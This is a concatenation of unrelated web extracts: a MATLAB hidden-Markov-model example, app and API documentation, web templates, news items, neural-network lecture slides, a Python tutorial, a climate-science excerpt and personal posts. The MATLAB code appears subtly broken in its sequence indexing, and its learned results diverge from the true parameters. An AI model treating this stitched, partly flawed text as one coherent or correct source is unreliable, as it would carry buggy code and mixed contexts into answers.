Usage with unknown parameters: Baum Welch (EM) algorithm
Learn the parameters of the occassionaly dishonest casino based only on observations and structure assumption
O = [1/6 , 1/6 , 1/6 , 1/6 , 1/6 , 1/6; ... % fair die 1/10, 1/10, 1/10, 1/10, 1/10, 5/10 ]; % loaded die T = [0.50 , 0.50; 0.25, 0.75]; len = 100; % if len is too short, may not observe something in the sequence numSeq = 100; seq = ml_sampleMC(T, pi, numSeq, len); obs = zeros(numSeq, len); [~, seqLen] = size(O); % generate observation states from distribution at each hidden state X = zeros(numSeq, len); for k = 1:len for p = 1:numSeq X(p, k) = ml_randSampleDiscrete(O(seq(k), :)); end end options_hmm_unknown = []; options_hmm_unknown.nHiddenStatesGuess = 2; options_hmm_unknown.nObservableStatesGuess = 6; model_hmm_unknown = ml_unsupervised_HMM(X, options_hmm_unknown); [Ohat, That] = model_hmm_unknown.BaumWelch(model_hmm_unknown); disp('True emission probabilities:') disp(O); disp('Learned emissions probabilities:') disp(Ohat); disp('True transition probabilities:') disp(T); disp('Learned transition probabilities:') disp(That);
True emission probabilities: 0.1667 0.1667 0.1667 0.1667 0.1667 0.1667 0.1000 0.1000 0.1000 0.1000 0.1000 0.5000 Learned emissions probabilities: 0.1209 0.0911 0.2109 0.0637 0.1644 0.3489 0.1533 0.1888 0.0206 0.2192 0.0869 0.3312 True transition probabilities: 0.5000 0.5000 0.2500 0.7500 Learned transition probabilities: 0.4942 0.5058 0.6758 0.3242


Sensus is an end-to-end system for mobile sensing using iOS and Android devices. Sensus is able to monitor a wide range of sensors and data events, and it is designed to interact with the user to solicit additional information via scheduled or sensor-triggered surveys. It coordinates the collection, anonymization, and storage of this information locally on the device and remotely on cloud servers. Sensus has been designed and implemented at the University of Virginia Predictive Technology Laboratory for research in public health and personal safety. However, Sensus is a general-purpose system. Researchers in other fields, industrial companies, and individuals interested in self-monitoring might find it useful.
Sensus's key features include the following:
- Cross-platform with native performance Most apps like Sensus are available for either Android or iOS but not both. This limits the target audience and threatens the validity of any study that requires a representative population of smartphone users. Sensus runs on Android and iOS and emphasizes a uniform user experience.
- Comprehensive sensing A complete list of internal hardware and software sensors, as well as external wearable and beacon-based sensors, can be found here.
- Device-initiated surveys Sensus can prompt users to complete surveys that are scheduled or triggered by sensed data. For example, surveys can be triggered on the basis of GPS location, proximity to points of interest, speed, acceleration, light levels, sound levels, after phone calls or text messages, and so on. Virtually any probed data can be used to trigger surveys, or you can schedule surveys to run during particular time blocks.
- Adaptive sensing Sensus is designed to support research into adaptive data collection, both for passive sensing and survey sensing.
- Fine-grained anonymization controls Each type of sensed data has several fine-grained facets that can be individually anonymized.
- Minimal infrastructure requirements Sensus is entirely self-contained. No external servers are required unless you would like to push data to the cloud (e.g., Amazon) for centralized storage, which is supported with minimal effort through configuration scripts that are provided with Sensus.
- Analytics Sensus is paired with an analytics library written in R (SensusR), making data ingest, display, and analysis straightforward.
- In-app configuration of sensing plans There is only one app to install. You use Sensus to configure a plan for sensors and surveys. This plan can be immediately distributed to participants for execution. No programming experience is needed, and you do not need to release your own version of Sensus to the Android and iOS stores.
- In-app ground truth collection It is easy to configure Sensus to generate labeled data in support of supervised machine learning models (e.g., for activity recognition).
- Randomized controlled trials of sensing plans Multiple sensing plans can be combined into a bundle, which is then delivered to participants. Upon receipt, participants are randomly assigned to one of the plans. This supports randomized controlled trials of plan variations.
Obtaining and Using Sensus
Sensus is available for Android from the Google Play Store and for iOS from iTunes. After installation, browse our articles for next steps.
Google has decided to disallow the use of SMS and phone permissions within Sensus. As a result, the version in the Goolge Play Store will not allow you to run the SMS or phone probes. You may still download a version of Sensus directly from the Sensus team with these permissions enabled. Visit this page for more information.
If you would like to try out the beta (early release) versions of Sensus for Android, you can join the testing program here.
Citing Sensus
If you are using Sensus in your research and would like to cite it, please use the following citation:
Support
Have questions or suggestions? Interested in using Sensus in one of your studies? Try one of the following.
- Post your question to the Sensus Google Group.
- Email us at<EMAIL_ADDRESS>- Log an issue on GitHub.


{% extends 'base.html' %} {% block title %}Password reset complete{% endblock %} {% block content %}
Your new password has been set. You can now log in.


When “Apply Filter and View Data” is selected from the main menu, or the “Sort/Filter” toolbar button is pressed in the data viewer, this dialogue appears. It allows changing the sort order of the data, and applying a filter to narrow the displayed data.
You can select one or more columns and the sort direction which should be used to retrieve the data from the database.
You can enter an arbitrary WHERE clause, to restrict the result set which is retrieved from the database. You can click “Validate” to have pgAdmin III test whether the WHERE clause is valid.


|
Copyright 2013-01-06 Werner Randelshofer | ||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object org.monte.media.Format
public class Format
Specifies the format of a media, for example of audio and video.
| Constructor Summary | |
|---|---|
Format(java.util.Map<FormatKey,java.lang.Object> properties)
Creates a new format onlyWith the specified properties. |
|
Format(java.lang.Object... p)
Creates a new format onlyWith the specified properties. |
| Method Summary | ||
|---|---|---|
Format |
append(Format that)
Creates a new format which contains all properties from this format and additional properties from that format. |
|
Format |
append(java.lang.Object... p)
Creates a new format which contains all properties from this format and additional properties listed. |
|
boolean |
containsKey(FormatKey key)
|
|
Format |
containsKeys(FormatKey... keys)
Returns true if the format has the specified keys. |
|
|
get(FormatKey<T> key)
|
|
|
get(FormatKey<T> key,
T defaultValue)
|
|
java.util.Set<FormatKey> |
getKeys()
Gets the keys of the format as an unmodifiable set. |
|
java.util.Map<FormatKey,java.lang.Object> |
getProperties()
Gets the properties of the format as an unmodifiable map. |
|
Format |
intersectKeys(FormatKey... keys)
Creates a new format which only has the specified keys (or less). |
|
boolean |
matches(Format that)
Returns true if that format matches this format. |
|
boolean |
matchesWithout(Format that,
FormatKey... without)
|
|
Format |
prepend(Format that)
Creates a new format which contains all properties from the specified format and additional properties from this format. |
|
Format |
prepend(java.lang.Object... p)
Creates a new format which contains all specified properties and additional properties from this format. |
|
Format |
removeKeys(FormatKey... keys)
Creates a new format without the specified keys. |
|
java.lang.String |
toString()
|
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait |
| Constructor Detail |
|---|
public Format(java.util.Map<FormatKey,java.lang.Object> properties)
public Format(java.lang.Object... p)
| Method Detail |
|---|
public <T> T get(FormatKey<T> key)
public <T> T get(FormatKey<T> key, T defaultValue)
public boolean containsKey(FormatKey key)
public java.util.Map<FormatKey,java.lang.Object> getProperties()
public java.util.Set<FormatKey> getKeys()
public boolean matches(Format that)
that
- Another format.
public boolean matchesWithout(Format that, FormatKey... without)
public Format append(Format that)
If a property is specified in both formats, then the property value from this format is used. It overwrites that format.
If one of the format has more properties than the other, then the new format is more specific than this format.
that
-
public Format append(java.lang.Object... p)
If a property is specified in both formats, then the property value from this format is used. It overwrites that format.
If one of the format has more properties than the other, then the new format is more specific than this format.
p
- The properties must be given as key value pairs.
public Format prepend(Format that)
If a property is specified in both formats, then the property value from this format is used. It overwrites that format.
If one of the format has more properties than the other, then the new format is more specific than this format.
that
-
public Format prepend(java.lang.Object... p)
If a property is specified in both formats, then the property value from this format is used. It overwrites that format.
If one of the format has more properties than the other, then the new format is more specific than this format.
p
- The properties must be given as key value pairs.
public Format intersectKeys(FormatKey... keys)
If the keys are reduced, then the new format is less specific than this format.
public Format removeKeys(FormatKey... keys)
If the keys are reduced, then the new format is less specific than this format.
public Format containsKeys(FormatKey... keys)
public java.lang.String toString()
toString
in class java.lang.Object
|
Copyright 2013-01-06 Werner Randelshofer | ||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


GitHub
SonarQube Dashboard
A simpler and powerful way to monitor your SonarQube project
Website URL
Project Key
From date
To date


The Truth About Suicide
America’s ignored epidemic.
by Paul Joseph WatsonThe culture & the media tells men to “talk about their feelings.”
The left constantly promotes “mental health awareness.”

“OK Boomer!”
Why?
Please share this video: https://youtu.be/Rw1dNtDEA00
SUBSCRIBE on YouTube:


Sign in
User name
Password
Sign in
Camera Inventory
Logout
New Record
Edit Record
Delete Record
SKU
Category
DSLR
Point and Shoot
Advanced Amateur
Underwater
Film
mirrorless
superzoom
Vendor
Nikon
Canon
Olympus
Lumix
Pentax
Leica
Sony
Fuji
Manufacturer's Identifier
Description
Cost
Retail
Quantity
Features
Product Image
Clear
SKU
Category
DSLR
Point and Shoot
Advanced Amateur
Underwater
Film
mirrorless
superzoom
Vendor
Nikon
Canon
Olympus
Lumix
Pentax
Leica
Sony
Fuji
Manufacturer's Identifier
Description
Cost
Retail
Quantity
Features
Product Image
Clear
SKU
Category
DSLR
Point and Shoot
Advanced Amateur
Underwater
Film
mirrorless
superzoom
Vendor
Nikon
Canon
Olympus
Lumix
Pentax
Leica
Sony
Fuji
Manufacturer's Identifier
Description
Cost
Retail
Quantity
Features
Clear


There's no pricing package for the batch processing provider.
| Price package name | {{ $ctrl.package.name }} |
| Price of CPU hour | {{ $ctrl.package.cpu_price | defaultCurrency }} |
| Price of GPU hour | {{ $ctrl.package.gpu_price | defaultCurrency }} |
| Price of RAM GB | {{ $ctrl.package.ram_price | defaultCurrency }} |


Here are a few examples, to show how this library works. Please report any bug and suggestion to the Google Code project issue tracker.


{{project}}
pick a repo
{{name}}
{{branch}}
master
{{name}}
Milestones
no milestones
{{title}}
{{open_issues}}
{{closed_issues}}
Issues
no issues
{{title}}


Spoilers: Fiz and Tyrone lose their kids as evil Jade strikes in Corrie
There is a devastating start to 2020 for Coronation Street couple Fiz Stape (Jennie McAlpine) and Tyrone Dobbs (Alan Halsall) when sinister nanny and tutor Jade Rowan (Lottie Henshall) executes an evil plot to have their children Hope and Ruby taken away from them.
Ever since Jade arrived to support troubled Hope’s education, viewers have been wary that there is something not right with her and it has become clear that she has a vendetta against the family as she secretly plots againt them.
And in an upsetting turn of events, she will manage to paint the loving parents as unsuitable to take care of the kids, leading to social services becoming involved.  But just what is her grudge and how far is she prepared to go in order to destroy them?
Advertisement Advertisement
A source told The Sun: ‘The couple will be completely blindsided by having their children taken off them and at a loss as to how it could have happened. But it is actually Jade that has reported them to social services for allegedly abusing Hope and Tyrone’s daughter, Ruby.
‘They are taken away from the couple while an investigation into the claims is carried out. In the meantime Fiz and Tyrone face 2020 wondering what happened to their family.’
As Fiz and Tyrone try to work out why Jade has done this and how they can prove their innocence, Jade herself vanishes but Evelyn Plummer (Maureen Lipman) manages to track the spiteful nanny down.
But how far will she go to get to the truth about Jade’s actions – and could she make things worse for Fiz and Tyrone in the process?
Scenes were recently filmed which saw Fiz and Tyrone forced to attend court.
The storyline will play out in January.


---
layout: post
title: "Computer vision with Microsoft Cognitive Services"
date: 2017-03-20
---
A few months ago I discovered Microsofts Cognitive Services which is a bunch of ML empowered APIs that makes it REAL easy to add e.g. computer vision to your product. Of course, someone already made a neat little wrapper around the APIs as a R package, Roxford (Apparently the project was previously called Project Oxford).
I took the Roxford package for spin and fired up a quick shiny app for testing the computer vision API. Give it a try here! or copy the code below and make your own, just create and insert your own key and use a Microsoft API of your liking.
library(shiny) library(Roxford) library(shinythemes) # Build the ui part ------------------------------------------------------- ui <- shinyUI( fluidPage(theme=shinytheme("superhero"), sidebarLayout( sidebarPanel( titlePanel("Insert the image URL"), h5("Copy and paste e.g. this url and hit send"), textInput("url", label = h5("http://static.wixstatic.com/media/8dc02a_c68673e648754a7593b66cbfb5e1f6f5~mv2.jpg")), submitButton("Send"), hr(), fluidRow(verbatimTextOutput("text"))), mainPanel( fluidRow(column(3, htmlOutput("image")))) ) ) ) # Build the server part --------------------------------------------------- server <- shinyServer(function(input, output) { visionkey <- 'xxxxxxxxxxxxxxxxxxxxxxxx' output$text <- renderPrint({ t <- getDescriptionResponseURL(input$url, visionkey) t$captions.text <- as.character(t$captions.text) t$captions.text[1] }) output$image <- renderText({c('')}) }) # Run the app ------------------------------------------------------- shinyApp(ui, server)


Spiking Neural Networks
Neural network in the brain
Characteristics
SNNs are formed by neuron models that communicate by sequences of spikes .
The spiking dynamics of the neurons are described by differential equations
Neurons are connected by artificial sypnases .
They are powerful tools for analysis of elementary processes in the brain.
Used for fast signal-processing , event detection , classification , speech recognition , or motor control .
Computationally more powerful than perceptrons and sigmoidal gates.
F. Ponulak and A. Kasinski Introduction to spiking neural networks: Information processing, learning and applications. Acta neurobiologiae experimentalis 4.71. 2011.
Spikes and information processing
SNNs
The presence and timing of individual neurons is considered as the means of comunication and neural computation .
It has \(n\) input neurons whose firing times are determined through some external mechanism
Different types of neuron models and information processing strategies can be used.
Learning is usually harder than in MLP perceptrons and other non-spiking neural models.
H. Paugam-Moisy, S. Bohte. Computing with spiking neuron networks. Handbook of natural computing. Pp. 335-376. 2012.
Spikes and information processing
Neural code
The problem of neural code : How is information encoded in the neural signal?
Two (not necessarily contradictory) explanations:
Spike rate code : Neural information is encoded in the firing rate (number of spikes in a given time period).
Spike timing code : Neural information encoded in the precise timing of spikes.
Spiking neural networks can be designed to exploit different ways of coding information in the neuron spikes.
H. Paugam-Moisy, S. Bohte. Computing with spiking neuron networks. Handbook of natural computing. Pp. 335-376. 2012.
Information Processing SNNs
Rank-order coding (ROC)
Information is encoded by the order of the spikes of a neural population.
The ROC model assumes that that each neuron emits only a single spike during a presentation of the stimulus (image).
First spike
The information is encoded in the latency between the beginning of the stimulus and the time of the first spike.
Enables ultrafast information processing.
H. Paugam-Moisy, S. Bohte. Computing with spiking neuron networks. Handbook of natural computing. Pp. 335-376. 2012.
Information Processing SNNs
Coding by synchrony
It is based on the assumption that neurons that encode different bits of information on the same object fire synchronously .
Networks from reciprocally coupled spiking neurons can undergo very rapid transitions from uncorrelated to synchronized states.
Latency code
Information is in the exact timing of a set of spikes relative to each other.
Precise relative spike timing is one of the critical parameters that control many forms of synaptic plasticity
Very efficient in terms of information capacity.
Spiking Neural Networks Topologies
Recurrent networks
Individual neurons or population of neurons interact through reciprocal (feedback) connections .
Are characterized by richer dynamics and potentially higher computationally capabilities than feedforward networks.
More difficult to control and train .
Hybrid networks : some populations may be strictly feedforward, while other have recurrent topologies.
Feedforward networks
The data-flow from input to output units is strictly one-directional .
The data processing can extend over multiple layers of neurons .
No feedback connections are present.
Ussually applied to model low-level sensory systems (e.g. vision, olfaction, tactile sensing).
F. Ponulak and A. Kasinski. Introduction to spiking neural networks: Information processing, learning and applications. Acta neurobiologiae experimentalis. 4, 71. 2011.
Spiking Neural Networks Topologies
Reservoir computing
It consists of a fixed recurrent structure (a reservoir ) and a set of output neurons called readouts. The connectivity structure within the reservoir is usually random and fixed . Readouts receive only feedforward connections from the reservoir.
Figure. Neuromorphic devices & systems. IBM Research. Zurich.
Spiking Neural Networks Topologies: Synfire chains
A multi-layered architecture (a chain ) in which spiking activity can propagate as a synchronous wave of neuronal firing from one layer (subpopulation) to the next ones.
Particular subpopulations may contain recurrent connections . Considered as a possible mechanism of the relationship between two delayed events .
Figure. S. Schrader, M. Diesmann, and A. Morrison. A compositionality machine realized by a hierarchic architecture of synfire chains. Frontiers in Computational Neuroscience 4. 154. 2011.
Neuroevolution
Neural architecture search (NAS)
A problem with NNs is how to set the architecture and parameters .
It is usually based the user's experience or on trial and error .
Automatically setting architecture and parameters is notoriously difficult .
This is a very challenging problem and active research topic .
NAS approaches
Reinforcement learning
Heuristic optimization algorithms
Neuroevolution
Neuroevolution
Characteristics
Neuroevolution investigates methods for automatic selection of neural network architectures and parameters.
The neural architecture search is transformed into an optimization problem .
Evolutionary algorithms are used to find the solution of the optimization problem.
It is a very flexible approach that requires minimal human intervention.
However, the methods may require a large number of evaluations .
D. Floreano, P. Duerr, and C. Mattiussi Neuroevolution: from architectures to learning Evolutionary Intelligence. No. 1. Pp. 47-62. 2008.
Neuroevolution: parameter search VIDEO
Evolutionary Algorithms
EAs
Simple Genetic Algorithms (SGA)
GAs with heuristic genetic operators
Genetic Programming
Estimation of Distribution Algorithms
Evolutionary Strategies
CMAEs
Multi-objective EA with decomposition (MOEAD)
Competent GAs
Optimal Mixing EAs
Characteristics
Each solution is represented using an individual or chromosome .
A population of solutions is generated.
Solutions are evaluated according to a fitness function .
The solutions with the best fitness values are selected.
New solutions are generated by applying crossover and mutation operators on the selected solutions.
The population of individuals is evolved for a number of generations until a given stop criterion is satisfied.
A. E. Eiben and J. E. Smith. Introduction to Evolutionary Computing . Heidelberg: Springer. 2003.
NN optimization
Algorithms
Neuro-evolution of augmenting topologies (NEAT ).
HyperNEAT .
Spectrum-diverse Unified Neuroevolution Architecture (SUNA) .
EPNet .
Many other .
How to do it?
Select a representation that encodes the NN in an appropriate way.
Design the crossover operator in such a way that combines components of the two (parent) neural networks.
Design a mutation operator that introduces potentially innovative variations in the generated solutions.
Use a fitness function that estimates the quality of the NN .
Decide on the rest of the EA components .
Neuro-evolution of augmenting topologies (NEAT)
Characteristics
NEAT is a neuroevolutionary algorithm .
Combines the search for appropriate network weights with the complexification of the network structure.
To avoid the creation of over-complex NNs, NEAT starts from a minimal structure and add nodes and connections incrementally .
To avoid newly introduced NN structural changes to disappear from the population prematuraturely, it separates chromosomes in niches .
D. Floreano, P. Duerr, and C. Mattiussi Neuroevolution: from architectures to learning Evolutionary Intelligence. No. 1. Pp. 47-62. 2008.
K. O. Stanley and R. Miikkulainen Competitive Coevolution through Evolutionary Complexification. Journal of Artificial Intelligence Research. Vol. 21. Pp. 63-100. 2004.
NEAT representation
In the NN representation the nodes and the connections are independently represented. Genome length is unbounded
Connections contain the weights , whether it is disabled or not, and a time label (innovation ) to indicate when it was introduced.
K. O. Stanley and R. Miikkulainen Competitive Coevolution through Evolutionary Complexification. Journal of Artificial Intelligence Research. Vol. 21. Pp. 63-100. 2004.
NEAT mutation
Mutation can change both, mutation weights and network structures . The second can be done by adding connections or by adding nodes .
Whenever a new gene appears a global innnovation number is increased and assigned to that gene .
K. O. Stanley and R. Miikkulainen Competitive Coevolution through Evolutionary Complexification. Journal of Artificial Intelligence Research. Vol. 21. Pp. 63-100. 2004.
NEAT crossover
The genes of the two parents are matched according to their innovation numbers . Genes that do not match are either disjoint or excess . Each type of gene is randomly exchanged according to different rules.
K. O. Stanley and R. Miikkulainen Competitive Coevolution through Evolutionary Complexification. Journal of Artificial Intelligence Research. Vol. 21. Pp. 63-100. 2004.
Neuroevolution: NEAT application VIDEO


Utah Jazz arena evacuated postgame due to suspicious package
Salt Lake City - About 15 minutes after the end of an NBA game Friday night, the Utah Jazz’s home arena was evacuated because of a suspicious package.
Salt Lake City police say the package turned out to be a toolbox, and the Jazz say employees were cleared by authorities to re-enter the building a couple of hours after the evacuation.
Most fans had already exited Vivint Smart Home Arena following Utah’s 113-109 victory over the Golden State Warriors when players, coaches and reporters were instructed to leave immediately.
Not long after both coaches finished answering postgame questions from the media, a spokesman for the Jazz told reporters to exit the building due to the suspicious package. Outside, they were instructed by security to leave the premises.
Utah players quickly headed for their cars in the parking lot - center Rudy Gobert was still in uniform as he left. Warriors players boarded their team bus.
Salt Lake City police Lt. Carlos Valencia said the suspicious package looked like a shoebox and was discovered under a table at a restaurant in the northeast corner of the arena.
He said the call came in from a uniformed officer working part-time at the game around 9:30 p.m.
Arena bomb dogs went near the package and "got a hit on it,” Valencia said.

Read More
Argentine health chief quits in abortion fight with conservative president
Argentina's health secretary resigned on Friday after a protocol he signed the day before, aimed at making abortion more available, was revoked by conservative President Mauricio Macri, less than a month before he is to leave office.


Racko is a code annotation tool that reads source files and generates annotation files with single-line comments presented alongside the source code.
Racko supports annotation generation and some basic syntax
highlighting. There are no external dependencies, so it is very
small and easy to use. Simply download Racko from Racket's packaging
tool raco
Examples:


Answer TRUE or FALSE.
When you print out the nodes of binary tree, the leaf nodes appear in the same relative order for the preorder, inorder, and postorder traversals.
Take a small binary tree with three or four leaf nodes and see what happens with the traversals.
Since all 3 traversals print the left subtree before the right subtree, the leaves have to get printed in the same order.


French director probed for allegedly harassing actress
PARIS (AP) - The Paris prosecutor’s office is investigating French director Christophe Ruggia for alleged “sexual aggressions” after French actress Adele Haenel accused him of sexually harassing her when she was an adolescent.
Haenel, now 30, first detailed her allegations against Ruggia Sunday on the French investigative website Mediapart. She says Ruggia, who directed her first film, “Les Diables”, repeatedly touched her inappropriately when she was between 12 and 15 years old.
Ruggia has categorically denied the allegations via his lawyer Jean-Pierre Versini.
The Paris prosecutor’s office confirmed to The Associated Press that an inquiry opened Wednesday into Ruggia for “sexual aggressions against a 15-year-old minor.”
Haenel told French media this week that she did not wish to file a formal complaint because she didn’t trust the French justice system.
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


We are going to learn about a modern programming style called Object-Oriented Programming [OOP]. Before we start writing object-oriented programs, we will first learn how to read and understand the notation used.
Fido is a dog. During a typical day, he does various actions: he eats, runs, sleeps, etc. Here’s how an object-oriented programmer might write this:
Fido = Dog()
Fido.eats()
Fido.runs()
Fido.sleeps()
In addition, Fido has various qualities or attributes. These are variables, like we have seen before except that they “belong” to Fido. It is tall (for a dog) and its hair is black. Here’s how the programmer might write the same things:
Fido.size = "tall";
Fido.hair_colour = "black";
In the object-oriented language, we have the following:
Objects can also have other objects that belong to them, each with their own methods or attributes:
Fido.tail.wags()
Fido.tail.type = "bushy";
Fido.left_front_paw.moves()
Fido.head.mouth.teeth.canine.hurts()
Let’s now see how Reeborg uses the dot notation.
So far, all the programs we wrote instructing Reeborg to accomplish tasks have been written without using the dot notation. Let’s change this, starting with a simple example.
First, we start by selecting the world Empty which has no robot in it.
Now, you might remember what we said about Reeborg: it is old and faulty … since it is a Used Robot. [We will learn how to fix it and its friends later.] So, we will create our first instance of a UsedRobot and name it, appropriately, Reeborg! We will then instruct it to take one step.
Try it!
Create a robot and have it take its first step using the following code:
reeborg = UsedRobot()
reeborg.move()
When you are done, try to write a more complicated program, having Reeborg’s name preceding any command given to him.
Important
You may have noticed that I named the robot reeborg with all lower case letters. It is a convention in Python (and many other programming languages) to give a name starting with a lower case letter to instances of a class of objects, reserving names that start with an upper case letter, like UsedRobot, for classes of objects.
However, I will often not follow this convention in naming Reeborg and other robots.
Try this!
Select the world Empty which has no robot in it. Then enter the following code:
reeborg = UsedRobot()
reeborg.move()
erdna = UsedRobot()
erdna.turn_left()
erdna.move()
reeborg.move()
You can add even more robots!
In addition to the dot notation, there is another way to get the value of attributes or methods that belong to an object in Python. Suppose I have a Dog() as above, for which I can have the following:
Fido.size = "tall"
Fido.run() # is an action that Fido can do
With Python, one can use the built-in function getattr, whose name is meant to remind of “get attribute”, as follows:
how_big = getattr(Fido, "size") # equivalent to how_big = "tall"
action = getattr(Fido, "run")
action() # equivalent to Fido.run()
getattr can be very useful in some contexts but its use is overly complicated for what we need to do in Reeborg’s world.


Move your mouse around in the box
Improvements to yesterday's animation. Seems silly to have to combine setTimeout() with requestAnimationFrame() but...
Also: now with moar dots!
- Pearl


For the sake of simplicity, our example models are a very idealized representation of reality. For example, alternative equilibria are arguably less likely or at least harder to find in more complex models 88. Also, low-order models can often be misleading when spatial dimensions come into play. Taking space into account can often suppress multiple equilibria, but can also lead to new critical phenomena like pattern formation 35. Despite the relevance of abrupt shifts in the Earth system, the connection between regime transitions in spatially extended systems (like the onset of turbulence in fluids) 24 and bifurcations in ordinary differential equations is not straightforward 25, and neither is such theoretical knowledge well applied to the specific physical systems mentioned above. Nonetheless, nonlinearities and critical thresholds are arguably present in all Earth system components, providing a basis for abrupt shifts. At the same time, other yet unrecognized tipping points could exist in the Earth system.
In more realistic systems the drivers also have a more continuous spectrum. In models, the fast time scales in such spectra are often described by stochastic terms. The amplitude and period of the periodic oscillations we assumed above can be seen as an analogy for the typical magnitude and duration of random external fluctuations. Small changes in these statistical properties can lead to large and sometimes counter-intuitive changes in the distribution of a system’s state 89, 90. In this regard, the concept of tipping points triggered by changes in periodic forcings is one representation of the fundamental question how vulnerable components of the Earth system are to environmental change. Theoretical progress has been made in recent decades to generalise concepts from bifurcation theory, for example by defining pullback attractors for deterministic non-autonomous systems 91, and random attractors for stochastic systems 92, 93. Unfortunately, such theoretical insights do not always feed back to our knowledge on tipping points in the Earth system.
One particular challenge in this regard is to investigate the applicability of statistical stability indicators that could provide an early warning of abrupt change. In climate research, this concept has mostly been explored in the static context of classical tipping points 94– 96. In the case of the systems above, classical indicators like rising variance and autocorrelation are not necessarily the most useful approach 18, 97. It is therefore important to explore alternative approaches to early warnings of abrupt change. Although conceptual models cannot replace studies based on observations and process-based modelling, they can help raise questions for future research. For example, it may be beneficial to compare abrupt monsoon changes on different time scales and in different regions: Are there common mechanisms behind the abrupt onsets in different monsoon systems on the planet? Are these mechanisms also responsible for abrupt monsoon shifts in palaeorecords? Is the expectation to see early warning signals before the occurrence of a certain shift supported by current process understanding? Will stronger El Niño events have irreversible consequences for tropical forest and savannah ecosystems? Was sea ice involved in a tipping point in the Earth’s history, and what was the role of periodic forcings? To explore such questions, it would be beneficial to further develop models of low to intermediate complexity in addition to existing Earth system models. Such a model hierarchy is most established in the case of sea ice models, but patchy in the case of ecosystems, and lacking in the case of monsoons. A suite of models that are easy to use would also better connect research attempts to understand different monsoon systems.
On top of that, studies on isolated tipping elements may even not be sufficient, as different Earth system components are linked in their stability behaviour and thus do not act in isolation. For example, sea-ice loss and the meridional ocean circulation affect each other 65, 66, 98, and transitions between vegetation states depend on the global background climate involving the ice sheets 84 and the Atlantic overturning circulation 84, 99. In light of the large uncertainties, the candidates and suspected mechanisms of tipping points will certainly evolve with new knowledge. As the Earth system is interspersed with feedbacks and natural thresholds, and features oscillations and environmental fluctuations on a vast range of time scales, it seems plausible that non-equilibrium tipping points have already occurred in the past and could occur again in the future.
All analysed data can be produced with the simple models as explained in the Supplementary Information, and can also be obtained from the lead author (S.B.).


class Gem::Resolver::Molinillo::DependencyGraph::Log
A log for dependency graph actions
Public Class Methods
Initializes an empty log
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 13 def initialize @current_action = @first_action = nil end
Public Instance Methods
@macro action
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 39 def add_edge_no_circular(graph, origin, destination, requirement) push_action(graph, AddEdgeNoCircular.new(origin, destination, requirement)) end
@macro action
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 29 def add_vertex(graph, name, payload, root) push_action(graph, AddVertex.new(name, payload, root)) end
{include:DependencyGraph#delete_edge} @param [Graph] graph the graph to perform the action on @param [String] origin_name @param [String] destination_name @param [Object] requirement @return (see Gem::Resolver::Molinillo::DependencyGraph#delete_edge)
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 49 def delete_edge(graph, origin_name, destination_name, requirement) push_action(graph, DeleteEdge.new(origin_name, destination_name, requirement)) end
@macro action
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 34 def detach_vertex_named(graph, name) push_action(graph, DetachVertexNamed.new(name)) end
@!visibility private Enumerates each action in the log @yield [Action]
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 75 def each return enum_for unless block_given? action = @first_action loop do break unless action yield action action = action.next end self end
Pops the most recent action from the log and undoes the action @param [DependencyGraph] graph @return [Action] the action that was popped off the log
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 61 def pop!(graph) return unless action = @current_action unless @current_action = action.previous @first_action = nil end action.down(graph) action end
@!visibility private Enumerates each action in the log in reverse order @yield [Action]
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 89 def reverse_each return enum_for(:reverse_each) unless block_given? action = @current_action loop do break unless action yield action action = action.previous end self end
@macro action
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 101 def rewind_to(graph, tag) loop do action = pop!(graph) raise "No tag #{tag.inspect} found" unless action break if action.class.action_name == :tag && action.tag == tag end end
@macro action
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 54 def set_payload(graph, name, payload) push_action(graph, SetPayload.new(name, payload)) end
@macro action
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 24 def tag(graph, tag) push_action(graph, Tag.new(tag)) end
Private Instance Methods
Adds the given action to the log, running the action @param [DependencyGraph] graph @param [Action] action @return The value returned by `action.up`
# File lib/rubygems/resolver/molinillo/lib/molinillo/dependency_graph/log.rb, line 115 def push_action(graph, action) action.previous = @current_action @current_action.next = action if @current_action @current_action = action @first_action ||= action action.up(graph) end


Unfortunately, there are currently no compatible drivers at this time.
{{route.driver.name}}
Seats: {{route.driverRoute.seats}}
Fee: ${{route.driverRoute.fee}}
{{route.driverRoute.startLabel}}
{{route.driverRoute.endLabel}}


We are getting hitched.
You can say its an arranged marriage converted to love marriage.
With a bit of nervousness in both of out hearts beating fast we first met each other personally on this particular day. We didn't knew what a beautiful gift lfe was unfolding for both of us.
And the wait was over. We met each other with our families finally concluding the chapter of confusions and give our relation the final approval. We cut the cake and had a great time. We crossed each other looking each other for a chance to talk but that was not possible. The finally at late night we talked with big smiles.
It was raining and she entered the car with an umbrella in her hand and chewing a gum. And we went to a long ride to DUMAS and had a great and quality time together.


# Modern Web Development > Presentation Topics - "Design process, client management, unique challenges in an academic library setting"
## Presentation Topics --- ### 1. Design Process ### 2. Client Management ### 3. Challenges within an Academic Library Setting
## Design Process includes... --- * User Experience (UX) Research & Strategy * User Interface (UI) Design * Modern Development Workflow
### **Road to failure** - Lack of a Professional Process. ![Bad Meeting](images/bad-meeting.jpg)
### Step 1: Project Management Plan (PMP) --- ### This Document Should include: * Project Definition * Project Requirements * Project Scope * Timelines / Benchmarks * Desired Outcomes
